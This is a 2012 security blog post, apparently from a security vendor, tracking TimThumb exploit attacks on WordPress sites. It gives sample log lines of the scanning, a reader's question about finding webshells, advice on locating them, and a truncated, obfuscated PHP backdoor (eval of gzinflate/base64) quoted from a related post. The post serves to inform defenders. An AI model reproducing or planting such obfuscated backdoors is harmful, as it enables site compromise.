List of Domains Hosting Webshells for Timthumb Attacks

We have been tracking TimThumb related attacks for a while and they are still at full force (yes, some people are still using the outdated versions and getting compromised).

Just for the month of May, we identified more than 400 domains hosting backdoors for those type of attacks and a botnet with more than 1,000 IP addresses scanning sites that might be vulnerable to it.

If you like to look at your logs, that’s how it would look like: – – [31/May/2012:03:55:35 +0000] “GET /wp-content/themes/vibrantcms/thumb.php?src= HTTP/1.1” 404 9347 “-” “”

or – – [31/May/2012:03:45:50 +0000] “GET //wp-content/themes/Quadro/timthumb.php?src= HTTP/1.1” 404 305 “-” “”

Basically searching for hundreds of themes per site that could have the old timthumb.php enabled and attempting to insert the backdoors from and on it.

The full list of domains hosting the backdoor is on our labs post:

List of domains hosting webshells for Timthumb attacks

and the list of IP addresses there too:

List of IP addresses scanning for vulnerable timthumb .

  1. Okay, one of my server’s IP is listed and it belongs to a shared hosting server. I can find numerous logs with hits from other IPs and its own….

    This might be a stupid question… but how do I track down the webshell script that is scanning? 

    1. does a reasonable job.  If you are comfortable with Clam Anti-Virus, turn on the ability to detect possible unwanted applications (PUA) and scan with Clam Anti-Virus.

      Spot checking directories that malware likes to hide in such as /tmp, /var/tmp, /dev/shm and the like can often end up finding the malware.

      In terms of end user sites, pay careful attention to any directory with 777 permissions or any files with >= 666 permissions or files and folders owned by the web server (i.e. httpd / apache/ nobody).

      And… you can always hire Sucuri to help you.

Comments are closed.

You May Also Like

List of domains hosting webshells for Timthumb attacks

We have been tracking timthumb.php related attacks for a little while. And they arestill at full force. Just for the month of May, tohse are the domains we identified hostingbackdoors that were used by the attackers (420 different urls)."

And most of them are still live. If you download them you will see many backdoor variations:

if (isset($lol)) { eval ( gzinflate(base64_decode("pZJda8IwFIbvB/sPMQhNQMR9XM05Cvsbg1DTE5vRJiEnnRbxvy9Jre5C8GJ35f143kMoyMYS+rNyn/5l/771H3T9+ABZxAHf6NI1TvSm6oDxJZ0Cc9nVG5pjxm5X9ZDa2QCEXa+TDQeWYnziXa2oqN7IoK0hOaWAH2PXA5INKYroa0XYDDoXhtFOvlZsqgk4aAzICjiALLJbps8cXiRQmj0Dv602jH4ZejFO8aQW4RYQG2hbccWeGeVVHw+6QxkwQHc+zG4FhsoHlkrlaF0gEz+GdhCEtCaAiYicjSKYWsgWKsPuTLoKMTS+vzk6mf+eLTWKWLW9l8DmKiGcdWDGh6ee8r+vRtMvsW90C2xWKrAqVjgnR5L9ZSwrD1Ud1cXT6vmVr8kpHStbi4mep6PiIfTe..

And we will keep monitoring them.